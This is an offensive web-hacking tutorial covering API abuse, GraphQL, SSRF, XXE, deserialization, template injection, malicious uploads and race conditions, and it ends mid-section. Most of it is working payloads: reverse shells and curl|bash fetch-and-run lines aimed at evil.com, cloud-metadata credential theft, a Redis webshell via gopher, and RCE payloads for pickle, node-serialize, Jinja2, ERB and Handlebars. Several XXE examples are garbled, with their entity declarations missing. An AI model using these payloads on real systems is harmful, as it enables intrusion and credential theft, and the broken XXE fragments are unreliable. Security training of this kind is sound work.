# User can GET their info: GET /api/v1/users/me # Try admin endpoints: GET /api/v1/users # List all users? GET /api/v1/admin/users # Admin version? POST /api/v1/users # Create new user? DELETE /api/v1/users/123 # Delete users? PUT /api/v1/users/123/role # Change user role? # HTTP verb tampering: GET /api/v1/config # Allowed - reads config POST /api/v1/config # Should be blocked, but is it? PUT /api/v1/config # Update config? # Path variation testing: /api/users vs /api/admin/users /api/v1/users vs /api/v2/users /users vs /admin/users /api/users vs /internal/users

API Enumeration & Discovery

# Find hidden API endpoints: 1. JavaScript Analysis: - Search for fetch(), axios, $.ajax calls - Look for API base URLs - Find endpoint patterns 2. Mobile App Reverse Engineering: - Decompile APK/IPA - Extract API calls - Find hardcoded secrets 3. Directory Fuzzing: ffuf -w api-wordlist.txt -u https://target.com/api/FUZZ 4. Version Discovery: /api/v1/users /api/v2/users /api/v3/users /api/users # No version /api/beta/users /api/internal/users 5. Common Patterns: /api/users, /api/admin, /api/settings /api/v1/*, /api/internal/*, /api/debug/* /rest/*, /services/*, /graphql

GraphQL Attacks

GraphQL is REST's cooler cousin - flexible queries, single endpoint, strongly typed. It's also a security nightmare when not properly secured. Introspection leaks your entire schema, batching enables DoS, and nested queries can kill your database.

GraphQL Introspection

The Attack: GraphQL's introspection feature lets clients query the schema itself. If enabled in production (it often is), you get the entire API structure handed to you.

# Full schema introspection: query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name } }
# Automated introspection: # Using GraphQL Voyager https://ivangoncharov.github.io/graphql-voyager/ # Using InQL Scanner (Burp Extension) # Automatically discovers schema and generates queries # Manual introspection queries: { __schema { types { name } } } # List all types { __type(name: "User") { fields { name } } } # Get User fields # Find sensitive types: query { __schema { types { name fields { name type { name } } } } } # Look for: Admin, Secret, Internal, Private, etc.

GraphQL Query Attacks

# Query Batching for DoS: query { user1: user(id: 1) { name email posts { title comments { text }}} user2: user(id: 2) { name email posts { title comments { text }}} user3: user(id: 3) { name email posts { title comments { text }}} # Repeat 1000 times... } # Circular Query Attack: query { user(id: 1) { posts { author { posts { author { posts { # Nest indefinitely } } } } } } } # Alias Overloading: query { q1: users { id name email } q2: users { id name email } q3: users { id name email } # Repeat thousands of times with aliases } # Field Duplication: query { user(id: 1) { name name name name name email email email email # Duplicate fields hundreds of times } }

GraphQL Authorization Bypass

# Direct Object Reference in GraphQL: query { user(id: 1) { name email ssn # Should be restricted salary # Should be restricted secretNotes } } # Try different users: query { user(id: 2) { ssn } } query { user(id: 999) { adminNotes } } # Query fields not meant to be exposed: query { users { password # Hashed? Plaintext? apiKey privateData internalId } } # Mutation attacks: mutation { updateUser(id: 123, role: "admin") { id role } } # Batch mutations: mutation { u1: updateUser(id: 1, role: "admin") { id } u2: updateUser(id: 2, role: "admin") { id } u3: updateUser(id: 3, role: "admin") { id } }

GraphQL Information Disclosure

# Error Message Exploitation: query { user(id: "invalid") { password } } # Error might reveal: "Cannot query field password on type User" # Field suggestion attacks: query { user(id: 1) { nonExistentField } } # Error: "Cannot query field 'nonExistentField'. Did you mean 'secretField'?" # Type confusion: query { user(id: "admin") { # String instead of Int name } } # Errors might leak internal implementation details

Server-Side Request Forgery (SSRF)

SSRF is the art of making the server attack itself or its internal network. Any feature that fetches external resources - webhooks, image upload, PDF generation, URL shorteners - can become an SSRF vector. And once you're making requests from the server's perspective, the internal network is yours.

The SSRF Attack Model

Think of SSRF like social engineering but for servers. You can't directly access the internal network, but the web server can. So you trick the web server into making requests for you. The firewall trusts the web server, so suddenly you're inside the perimeter. The web server becomes your proxy into networks you should never reach.

Basic SSRF Vectors

Any feature that accepts a URL or fetches remote resources is a potential SSRF vector. The application makes a request on your behalf, and you control where it goes.

# Common SSRF Entry Points: 1. Image Upload/Processing: POST /api/upload {"url": "http://internal-admin.local/"} 2. Webhook Registration: POST /api/webhooks {"callback_url": "http://localhost:6379/"} # Redis 3. PDF Generation: POST /api/generate-pdf {"url": "http://169.254.169.254/"} # AWS metadata 4. URL Preview/Unfurling: POST /api/preview {"url": "file:///etc/passwd"} 5. File Import: POST /api/import {"source": "http://internal-database:5432/"} 6. Link Checker: POST /api/check-link {"url": "http://192.168.1.1:22"} # Port scan internal network

SSRF Payloads for Internal Access

# Localhost variations: http://127.0.0.1/admin http://localhost/admin http://0.0.0.0/admin http://[::1]/admin # IPv6 localhost http://127.1/admin # Short form http://2130706433/admin # Decimal IP (127.0.0.1) http://0x7f.0x0.0x0.0x1/admin # Hex IP # URL encoding tricks: http://127.0.0.1/admin http://127.0.0.1/%61dmin # 'a' encoded http://127.0.0.1/%2561dmin # Double encoding # DNS rebinding: http://spoofed.burpcollaborator.net/ # Resolves to 127.0.0.1 after validation # Protocol smuggling: http://example.com#@127.0.0.1/admin http://127.0.0.1@example.com/admin http://example.com%00127.0.0.1/admin

Cloud Metadata Service Exploitation

# AWS Metadata Service (IMDSv1): http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name] # Get AWS credentials: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Returns: { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "..." } # Now you have AWS credentials for that EC2 instance's role! # AWS IMDSv2 (requires token): TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/
# Google Cloud Metadata: http://metadata.google.internal/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # Requires header: Metadata-Flavor: Google # If SSRF allows custom headers, you can access it # Azure Instance Metadata: http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Requires header: Metadata: true # Digital Ocean Metadata: http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/user-data # Oracle Cloud: http://169.254.169.254/opc/v1/instance/

SSRF for Internal Port Scanning

# Port scanning via SSRF: import requests target = "http://vulnerable-app.com/api/fetch" for port in [22, 80, 443, 3306, 5432, 6379, 8080, 9200]: payload = {"url": f"http://192.168.1.10:{port}"} r = requests.post(target, json=payload) # Analyze response: if r.status_code == 200: print(f"[+] Port {port} open") elif "connection refused" in r.text.lower(): print(f"[-] Port {port} closed") elif "timeout" in r.text.lower(): print(f"[?] Port {port} filtered") # Time-based port detection: import time for port in range(1, 65535): start = time.time() requests.post(target, json={"url": f"http://internal:port"}) elapsed = time.time() - start if elapsed < 1: # Quick response = port closed continue else: # Slow response = port open (or filtered) print(f"[+] Port {port} interesting")

SSRF Protocol Exploitation

# File protocol: file:///etc/passwd file:///c:/windows/system.ini file:///proc/self/environ # Read environment variables # Dict protocol (Interact with Redis): dict://localhost:6379/INFO dict://localhost:6379/CONFIG:GET:* dict://localhost:6379/FLUSHALL # Wipe Redis! # Gopher protocol (Raw TCP): gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20shell.php gopher://127.0.0.1:6379/_SET%20shell%20%22%3C?php%20system($_GET[%27c%27])%3B?%3E%22 gopher://127.0.0.1:6379/_SAVE # LDAP protocol: ldap://127.0.0.1:389/%0astats%0aquit # SFTP protocol: sftp://internal-server/sensitive-file # TFTP protocol: tftp://192.168.1.100:69/config.txt

Blind SSRF Detection

# Out-of-band interaction: 1. Burp Collaborator: https://your-subdomain.burpcollaborator.net 2. Custom DNS logging: http://ssrf-test.your-domain.com 3. Time-based detection: http://127.0.0.1:22 # SSH handshake = slow response http://127.0.0.1:99999 # Non-existent port = fast response # DNS exfiltration via SSRF: http://secret-data.your-domain.com # Check DNS logs to see if request was made # HTTP log monitoring: 1. Set up server with logging 2. Use SSRF to request: http://your-server.com/test 3. Check server logs for incoming request 4. If you see it, SSRF confirmed!

SSRF Filter Bypasses

# Bypass localhost filters: # Decimal IP: http://2130706433/ # 127.0.0.1 in decimal # Hex IP: http://0x7f000001/ # 127.0.0.1 in hex # Octal IP: http://0177.0.0.1/ # 127.0.0.1 in octal # IPv6: http://[::ffff:127.0.0.1]/ http://[::1]/ http://[0:0:0:0:0:0:0:1]/ # Redirect-based bypass: 1. Create redirect on your server: 2. SSRF payload: http://your-server.com/redirect.php # DNS rebinding: 1. Set up DNS that returns different IPs 2. First request: returns whitelisted IP 3. Second request: returns 127.0.0.1 4. Application validates first, uses second # URL fragments: http://allowed-domain.com#@127.0.0.1/ http://allowed-domain.com#.127.0.0.1/

API Rate Limiting Bypass

Rate limits protect APIs from abuse. Bypassing them lets you brute force credentials, enumerate data, and execute DoS attacks. Every rate limiting implementation has flaws.

# Header-based bypass: # Try different headers: X-Forwarded-For: 1.2.3.4 X-Originating-IP: 1.2.3.4 X-Remote-IP: 1.2.3.4 X-Remote-Addr: 1.2.3.4 X-Client-IP: 1.2.3.4 X-Real-IP: 1.2.3.4 # Rotate IPs in headers: import requests for i in range(1000): headers = {"X-Forwarded-For": f"1.2.3.{i}"} r = requests.post(url, headers=headers, data=data) # Null byte injection: X-Forwarded-For: 1.2.3.4%00 X-Forwarded-For: 1.2.3.4%0a X-Forwarded-For: 1.2.3.4%0d # Array/List manipulation: X-Forwarded-For: 1.2.3.4, 5.6.7.8 X-Forwarded-For: [1.2.3.4, 5.6.7.8]
# Parameter pollution: # Change parameter case: POST /api/login?USERNAME=admin&password=test POST /api/login?username=admin&PASSWORD=test # Add null bytes: username=admin%00 username=admin%20 username=%20admin # Parameter arrays: username[]=admin username[0]=admin # Extra parameters: username=admin&username=admin ?id=1&id=2&id=3 # Path variations: /api/login vs /api/login/ /api/Login vs /API/login /api//login vs /api/./login
# Race condition bypass: import threading import requests def make_request(): requests.post(url, data=data) # Send 100 requests simultaneously: threads = [] for i in range(100): t = threading.Thread(target=make_request) threads.append(t) t.start() for t in threads: t.join() # Rate limiter might only catch this after requests complete # Async version: import asyncio import aiohttp async def attack(): async with aiohttp.ClientSession() as session: tasks = [] for i in range(1000): tasks.append(session.post(url, data=data)) await asyncio.gather(*tasks) asyncio.run(attack())

Session-Based Rate Limit Bypass

# Rotate sessions: import requests sessions = [] for i in range(10): s = requests.Session() # Login or get session s.get(login_url) sessions.append(s) # Use different session for each request: for attempt in range(1000): session = sessions[attempt % 10] session.post(target_url, data=data) # Reset cookies: for attempt in range(1000): requests.post(url, data=data, cookies={}) # No cookie attack: for attempt in range(1000): requests.post(url, data=data, headers={"Cookie": ""}) # Empty cookie

API Security Testing Methodology

# Complete API testing workflow: 1. DISCOVERY: - Find API endpoints (JS, mobile app, docs) - Map API structure - Identify authentication mechanism - Document all endpoints 2. AUTHENTICATION TESTING: - Test without auth token - Test with expired token - Test with manipulated token - Test token on different endpoints - Check for JWT vulnerabilities 3. AUTHORIZATION TESTING: - BOLA: Access other user's objects - Try admin endpoints as regular user - Check function-level authorization - Test role escalation 4. INPUT VALIDATION: - Mass assignment attacks - Parameter pollution - Type confusion - Injection attacks (SQLi, XSS, etc.) 5. BUSINESS LOGIC: - Rate limiting bypass - Payment manipulation - Workflow bypass - Race conditions 6. DATA EXPOSURE: - Excessive data in responses - Sensitive data in errors - Debug endpoints - Information disclosure 7. SSRF & INJECTION: - Test URL parameters for SSRF - File upload for SSRF - Webhooks for SSRF - All injection types

Automated API Testing Tools

# Postman/Newman: # Export Postman collection newman run api-collection.json -e environment.json # OWASP ZAP API Testing: zap-cli quick-scan --spider --ajax-spider https://api.target.com # ffuf for API fuzzing: ffuf -w wordlist.txt -u https://api.target.com/FUZZ \ -H "Authorization: Bearer TOKEN" # Arjun for parameter discovery: arjun -u https://api.target.com/endpoint # API Security Testing Tools: - Burp Suite (Scanner, Repeater, Intruder) - OWASP ZAP (API testing add-ons) - Postman (Testing collections) - Insomnia (API client) - REST-Attacker (Automated API testing) - GraphQL Voyager (Schema visualization) - InQL (GraphQL scanner for Burp)

Real-World API Vulnerability Examples

Example 1 - Facebook Graph API: BOLA vulnerability allowed accessing any user's photos by manipulating photo IDs in API requests. Impact: Complete photo database exposure.

Example 2 - Starbucks API: Mass assignment let users add unlimited money to gift cards by including "amount" parameter in reload API. Impact: Financial loss.

Example 3 - Capital One Breach: SSRF in web application firewall configuration allowed attacker to access AWS metadata service and steal credentials. Impact: 100+ million customer records exposed.

Example 4 - Shopify Partners: GraphQL batching allowed querying thousands of shops' private information in single request. Impact: Information disclosure at scale.

⚠️ API Testing Ethics

Legal Boundaries: API testing without authorization is illegal, even if the API is "public." Rate limiting bypass can be considered DoS. Accessing other users' data via BOLA is unauthorized access. Always get written permission before testing APIs.

Test Safely: Use test accounts only, don't enumerate real user data, respect rate limits (or test with permission), don't perform attacks that cause financial loss or service disruption. Document everything you do for legal protection.

Key Takeaways

For Attackers: APIs are often the weakest point in modern applications. Focus on authorization flaws (BOLA, BFLA), mass assignment, SSRF, and GraphQL abuse. Automate testing - APIs are made for automation. Chain vulnerabilities: SSRF + metadata service = AWS credentials.

For Defenders: Implement proper authorization checks on every object access, not just authentication. Disable GraphQL introspection in production. Validate and sanitize all URLs before making requests. Use allowlists for SSRF protection. Implement proper rate limiting at multiple layers.

For Everyone: Never trust API responses - they can be manipulated. APIs expose more functionality than web UIs - secure accordingly. "Internal" APIs get exposed eventually. Security by obscurity doesn't work for APIs. Monitor API usage for anomalies and abuse patterns.

Advanced Web Exploitation

Beyond the common vulnerabilities lie the exotic techniques that separate script kiddies from elite hackers. XXE, deserialization attacks, SSTI, prototype pollution, and advanced CORS exploitation require deeper understanding - and deliver devastating results when executed correctly.

XXE (XML External Entity) Attacks

XXE attacks exploit XML parsers that process external entities, allowing attackers to read files, trigger SSRF, or cause denial of service. Despite being over a decade old, XXE remains common in applications processing XML, SOAP services, and file upload functionality.

Think of XXE as a Trojan Horse for Parsers

Imagine a document processor that, when it encounters a special marker, fetches and includes content from another location. An XXE attack is like slipping in a marker that says "go read /etc/passwd and include it here." The parser dutifully obeys, not realizing it's been tricked into reading sensitive files it shouldn't access.

Basic XXE - Reading Local Files

The fundamental XXE attack reads local files by defining an external entity that points to a file path:

]> &xxe; // Server processes XML and includes file contents // Response might contain: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...

Example 1: Reading AWS Credentials

]> &xxe; // Steal AWS keys from server configuration [default] aws_access_key_id = AKIAIOSFODNN7EXAMPLE aws_secret_access_key = wJalrXUtnFEMI...

Example 2: Reading Application Configuration

]> &xxe; // Expose database credentials, API keys <?php $db_pass = "SuperSecret123!"; $api_key = "sk-live-abc123...";

Blind XXE - Out-of-Band Data Exfiltration

When the application doesn't return XML responses, use out-of-band techniques to exfiltrate data via DNS or HTTP requests:

// Step 1: Host malicious DTD on attacker server (evil.com/xxe.dtd) "> %eval; %exfiltrate; // Step 2: Inject XXE that loads external DTD %xxe; ]> // Attacker receives HTTP request containing file contents: // GET /?data=root:x:0:0:root:/root:/bin/bash... HTTP/1.1

XXE to SSRF - Attacking Internal Services

XXE can be weaponized to probe internal networks and interact with internal services:

// Port scanning internal network ]> &xxe; // Attack cloud metadata services ]> &xxe; // Interact with internal Redis ]> &xxe;

Example 3: XXE in File Uploads (SVG, DOCX, XLSX)

// SVG files are XML - perfect for XXE ]> &xxe; // DOCX files are ZIP archives containing XML // Extract, modify word/document.xml, rezip: ]> &xxe;

XXE Defense Bypass Techniques

// UTF-7 encoding to bypass filters ]> // Base64 encoding for binary files ]> // Parameter entities to bypass keyword filters %dtd; ]>

Deserialization Attacks

Insecure deserialization occurs when applications deserialize untrusted data without proper validation. Attackers craft malicious serialized objects that execute arbitrary code during deserialization - often leading to full Remote Code Execution (RCE).

Think of Deserialization as Unpacking a Bomb

Serialization is like packing an object into a box for shipping. Deserialization unpacks it on the other end. Now imagine you can pack instructions that execute when the box is opened: "Step 1: Open box. Step 2: Run this command." That's deserialization RCE - the act of unpacking itself triggers the payload.

Java Deserialization - ysoserial Payloads

Java's serialization mechanism is particularly dangerous. The ysoserial tool generates payloads for common libraries:

// Generate payload using ysoserial java -jar ysoserial.jar CommonsCollections6 "curl http://evil.com/shell.sh|bash" > payload.ser // Send as base64-encoded cookie or POST data Cookie: session=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAU... // Common gadget chains: // - CommonsCollections1-7 (Apache Commons Collections) // - Spring1-2 (Spring Framework) // - Jdk7u21 (JRE <= 7u21) // - Hibernate1-2 (Hibernate ORM)

Example 4: PHP Deserialization RCE

// Vulnerable PHP code <?php class FileManager { public $filename; function __destruct() { include($this->filename); } } $user = unserialize($_COOKIE['data']); ?> // Exploit - inject serialized object O:11:"FileManager":1:{s:8:"filename";s:27:"http://evil.com/shell.php";} // When object is destroyed, shell is included

Example 5: Python Pickle RCE

import pickle import os # Malicious pickle payload class Exploit: def __reduce__(self): return (os.system, ('nc -e /bin/bash evil.com 4444',)) payload = pickle.dumps(Exploit()) # When victim unpickles: instant reverse shell # pickle.loads(payload) # RCE!

Node.js Deserialization - node-serialize

// Vulnerable Node.js code using node-serialize var serialize = require('node-serialize'); var user = serialize.unserialize(req.cookies.profile); // Exploit payload - IIFE (Immediately Invoked Function Expression) {"username":"admin","role":"_$$ND_FUNC$$_function(){require('child_process').exec('nc -e /bin/bash evil.com 4444')}()"} // Alternative - reverse shell payload {"rce":"_$$ND_FUNC$$_function(){var net=require('net'),sh=require('child_process').exec('/bin/bash');var client=new net.Socket();client.connect(4444,'evil.com',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});}()"}

.NET Deserialization with ysoserial.net

// Generate .NET payload ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell -enc [base64_payload]" // Common vulnerable formatters: // - BinaryFormatter (.NET remoting, WCF) // - LosFormatter (ASP.NET ViewState) // - SoapFormatter (SOAP web services) // - NetDataContractSerializer (WCF) // Example: ViewState deserialization __VIEWSTATE=rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN...

Example 6: Ruby YAML Deserialization

require 'yaml' # Vulnerable code user_data = YAML.load(params[:data]) # Exploit - execute arbitrary Ruby code --- !ruby/object:Gem::Installer i: x --- !ruby/object:Gem::SpecFetcher i: y --- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: curl http://evil.com/shell|bash

SSTI (Server-Side Template Injection)

SSTI occurs when user input is embedded into template engines without proper sanitization. Attackers can inject template directives to achieve Remote Code Execution, read sensitive files, or bypass security controls.

Think of SSTI as Hijacking the Printer

Imagine a mail-merge system where you can customize letters. It's supposed to insert your name, but what if you could insert instructions like "print the contents of the secret file drawer"? SSTI is like that - you're not just inserting data, you're inserting commands that the template engine executes.

Detecting SSTI - Template Engine Fingerprinting

// Test payloads to detect SSTI {{7*7}} // Most template engines ${7*7} // FreeMarker, Thymeleaf, Velocity <%= 7*7 %> // ERB (Ruby) #{7*7} // Jinja2 alternative syntax // Response "49" indicates SSTI vulnerability // Identify specific engine: {{7*'7'}} // Jinja2 returns "7777777" ${7*'7'} // FreeMarker error <%= 7*'7' %> // ERB error

Example 7: Jinja2 SSTI (Python/Flask)

// Vulnerable Flask code @app.route('/hello') def hello(): name = request.args.get('name') return render_template_string('Hello ' + name) // Exploit - RCE via object introspection {{config.__class__.__init__.__globals__['os'].popen('id').read()}} // Alternative payload - read files {{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}} // Bypass filters with encoding {%for c in [].__class__.__base__.__subclasses__()%} {%if c.__name__=='catch_warnings'%} {{c()._module.__builtins__['__import__']('os').system('nc -e /bin/bash evil.com 4444')}} {%endif%}{%endfor%}

Example 8: FreeMarker SSTI (Java)

// Vulnerable Java code Template template = cfg.getTemplate("hello.ftl"); template.process(dataModel, out); // Exploit - execute system commands <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} // Alternative - instantiate objects <#assign classloader=object.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("curl http://evil.com/shell.sh|bash")}

ERB Template Injection (Ruby on Rails)

// Vulnerable Rails code erb = ERB.new(params[:template]) erb.result(binding) // Exploit - command execution <%= system('id') %> <%= `ls -la` %> <%= IO.popen('whoami').read %> // Reverse shell payload <%= IO.popen("bash -c 'bash -i >& /dev/tcp/evil.com/4444 0>&1'").read %> // Alternative using %x <%= %x(nc -e /bin/bash evil.com 4444) %>

Twig SSTI (PHP Symfony)

// Vulnerable Twig template {{ user_input }} // Exploit - RCE using filters {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} // Alternative payload - file read {{'/etc/passwd'|file_excerpt(1,30)}} // Map function abuse for RCE {{["id"]|map("system")|join(",")}} // Using _self.env to access Twig environment {{_self.env.enableDebug()}}{{_self.env.setCache("ftp://evil.com:2121")}} {{_self.env.loadTemplate("backdoor")}}

Example 9: Handlebars SSTI (JavaScript)

// Vulnerable Node.js code const template = handlebars.compile(req.body.template); const result = template({}); // Exploit - access to process object {{#with "constructor" as |str|}} {{#with str as |constr|}} {{#with constr as |c|}} {{#with c.constructor as |cc|}} {{cc.keys %root}} {{cc.keys (cc.keys %root)}} {{#with (cc.keys (cc.keys %root)) as |k|}} {{#each k}}{{this}}{{/each}} {{/with}} {{/cc}} {{/c}} {{/constr}} {{/with}} // RCE payload {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('curl http://evil.com/shell|bash');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}

File Upload Vulnerabilities

File upload functionality is a common attack vector. Beyond basic webshell uploads, advanced techniques include polyglot files, metadata exploitation, path traversal in filenames, race conditions, and storage system abuse.

Advanced Upload Bypass Techniques

// Double extension bypass shell.php.jpg // Server may process as PHP shell.php%00.jpg // Null byte injection (older systems) shell.php%0a.jpg // Newline injection // Content-Type manipulation Content-Type: image/jpeg // But file content is PHP code // Magic byte manipulation - prepend valid image header GIF89a // Polyglot files - valid as both image and PHP // Use tools like imagetragick payloads

Example 10: Path Traversal in Upload

// Manipulate filename to write outside upload directory POST /upload HTTP/1.1 Content-Disposition: form-data; name="file"; filename="../../config/shell.php" // Server might save to: // /var/www/uploads/../../config/shell.php // Which resolves to: /var/www/config/shell.php // Overwrite critical files filename="../../../etc/cron.d/evil" // Content: * * * * * root curl http://evil.com/shell|bash

Example 11: ImageTragick (ImageMagick RCE)

// Create malicious image file push graphic-context viewbox 0 0 640 480 fill 'url(https://evil.com/shell.sh"|curl -O "https://evil.com/shell.sh)' pop graphic-context // Alternative payload - read files push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context // Server processes with ImageMagick = RCE

XXE via File Upload

// Upload SVG with XXE payload ]> &xxe; // Upload XLSX file with XXE in workbook.xml // Extract XLSX, modify xl/workbook.xml: ]> &xxe; // Rezip and upload

ZIP Slip Vulnerability

// Create malicious ZIP archive with path traversal entries import zipfile with zipfile.ZipFile('evil.zip', 'w') as z: z.writestr('../../../../var/www/html/shell.php', '') z.writestr('../../../.ssh/authorized_keys', 'ssh-rsa AAAA...') // When server extracts ZIP without validation: // - Overwrites files outside intended directory // - Can place webshells in web root // - Add SSH keys for persistent access

Example 12: Race Condition in Upload

// Vulnerable upload flow: // 1. Save file to /tmp/upload_abc123.php // 2. Validate file (takes 100ms) // 3. If invalid, delete file // Exploit - access file between save and delete // Terminal 1: Upload PHP shell repeatedly while true; do curl -F "file=@shell.php" http://target.com/upload done // Terminal 2: Try to execute before deletion while true; do curl http://target.com/tmp/upload_$(ls tmp/ | grep upload) done // Eventually, you'll execute the shell before validation deletes it

Race Conditions

Race conditions occur when multiple operations execute concurrently, creating a window where application state is inconsistent. In web applications, race conditions can bypass payment checks, redeem vouchers multiple times, or escalate privileges.

Think of Race Conditions as a Bank Teller's Mistake

Imagine you have $100 in your account. You and a friend both try to withdraw $100 at the exact same moment at different ATMs. Both ATMs check your balance (sees $100), approve the withdrawal, and give you cash. The bank's system hasn't updated yet when the second check happens. You both got $100, but you only had $100 to begin with. That's a race condition.

Identifying Race Condition Vulnerabilities

// Look for operations that: // 1. Check a value (e.g., account balance, coupon usage) // 2. Perform an action based on that value // 3. Update the value // If these aren't atomic, there's a race window // Vulnerable pseudocode: function transferMoney(from, to, amount) { balance = getBalance(from); // STEP 1: Check if (balance >= amount) { // STEP 2: Validate sendMoney(to, amount); // STEP 3: Action setBalance(from, balance - amount); // STEP 4: Update } } // Race window between STEP 1 and STEP 4

Example 13: Discount Code Race

// Vulnerable: Check if code used, then mark as used POST /redeem HTTP/1.1 code=DISCOUNT50 // Response: "Discount applied! -$50" // Exploit: Send 20 parallel requests for i in {1..20}; do curl -X POST http://target.com/redeem \ -d "code=DISCOUNT50" & done // Result: $50 discount applied 20 times = $1000 off // The "mark as used" update happens after validation

Example 14: Account Balance Race

// Account has $100, item costs $80 // Send multiple purchase requests simultaneously // Burp Intruder with null payloads, 50 threads: POST /purchase HTTP/1.1 item_id=123&price=80 // Each request: // 1. Checks balance: $100 >= $80 βœ“ // 2. Creates order // 3. Deducts $80 // All 50 requests pass check before balance updates // Result: 50 orders created, but only $100 charged

Burp Suite Turbo Intruder for Race Conditions

// Turbo Intruder script for precise timing def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=50, requestsPerConnection=1, pipeline=False) # Queue 50 identical requests for i in range(50): engine.queue(target.req) # Send all at once engine.start() // Alternative: Use single-packet attack (race.py) // Forces all requests into single TCP packet python3 race.py --url http://target.com/voucher \ --data "code=DISCOUNT50" \ --count 20

Limit Overrun - Rate Limit Race

// Application allows 5 password attempts before lockout // But counter check and increment aren't atomic // Exploit: Send 50 login attempts simultaneously POST /login HTTP/1.1 username=admin&password=attempt1 // All 50 requests check counter (sees 0), pass check // Counter increments to 50 after all requests processed // Result: 50 attempts made despite 5-attempt limit // Tools: Use Burp Suite Repeater with parallel requests // Or Turbo Intruder for precise timing

Example 15: Time-of-Check to Time-of-Use (TOCTOU)

// Vulnerable password reset flow: // 1. Request reset for user@example.com // 2. Check if email exists (valid) // 3. Generate token // 4. Send email to address in user profile // Exploit: Race password reset with email change // Terminal 1: Request password reset curl -X POST http://target.com/reset -d "email=user@example.com" // Terminal 2: Simultaneously change email curl -X POST http://target.com/profile \ -H "Cookie: session=victim_session" \ -d "email=attacker@evil.com" // If email change completes between step 2 and 4: // Reset token sent to attacker@evil.com!

Business Logic Flaws

Business logic vulnerabilities arise from flawed assumptions and missing validation in application workflows. These can't be detected by automated scanners - they require understanding the application's intended behavior and finding ways to abuse it.

Think of Business Logic Flaws as Legal Loopholes

Imagine a store policy: "We'll match any competitor's price." Someone finds a fake website with $1 TVs, shows it to the store, and demands price matching. The policy doesn't say "legitimate competitors" - that's a business logic flaw. The technical implementation works perfectly; the business rules are flawed.

Common Business Logic Vulnerabilities

// Price manipulation - negative quantities POST /cart/add HTTP/1.1 item_id=12345&quantity=-5&price=100 // Application logic: total = quantity * price // -5 * $100 = -$500 (credits your account!) // Workflow bypass - skip payment step // Normal flow: cart -> checkout -> payment -> confirm // Manipulated: cart -> checkout -> confirm (skip payment) POST /order/confirm HTTP/1.1 order_id=12345 // Never went through payment // Parameter tampering - change order details after payment // Pay for item A, then change order to item B before fulfillment POST /payment HTTP/1.1 item_id=cheap_item POST /fulfillment HTTP/1.1 order_id=12345&item_id=expensive_item // Changed!

Example 16: Currency Arbitrage

// Application converts currency at checkout // Vulnerability: Can change currency after adding items // Step 1: Add item (price in USD: $100) POST /cart/add HTTP/1.1 item_id=123¤cy=USD // Step 2: Change currency to one with similar code POST /cart/update HTTP/1.1 currency=VEF // Venezuelan Bolivar (1 USD = 2,000,000 VEF) // Step 3: Checkout - application charges 100 VEF (~$0.00005) // But delivers $100 item // Similar flaws with cryptocurrencies, points systems

Example 17: Refund Logic Abuse

// Application allows refunds for unshipped orders // Vulnerability: Race between refund and shipping // Step 1: Place order (auto-ships in 1 hour) POST /order HTTP/1.1 item_id=123&express_shipping=false // Step 2: Wait 59 minutes // Step 3: Request refund POST /refund HTTP/1.1 order_id=12345 // Step 4: Refund processes immediately (not shipped yet) // Step 5: Order ships 1 minute later (refund already done) // Result: Free item + refund received

Multi-Step Process Manipulation

// Vulnerable multi-step registration: // Step 1: Choose username // Step 2: Enter email // Step 3: Enter payment // Step 4: Confirm // Exploit 1: Skip steps by direct POST to final step POST /register/step4 HTTP/1.1 username=admin&email=attacker@evil.com // Application doesn't verify previous steps completed // Exploit 2: Manipulate state between steps // Complete step 1 as regular user // Intercept step 2, change username to admin // Application validates step 1 data but uses step 2 username // Exploit 3: Replay old session at different step // Complete registration flow // Replay step 3 (payment) with different order_id // Application charges card again for different order

Example 18: Insufficient Workflow Validation

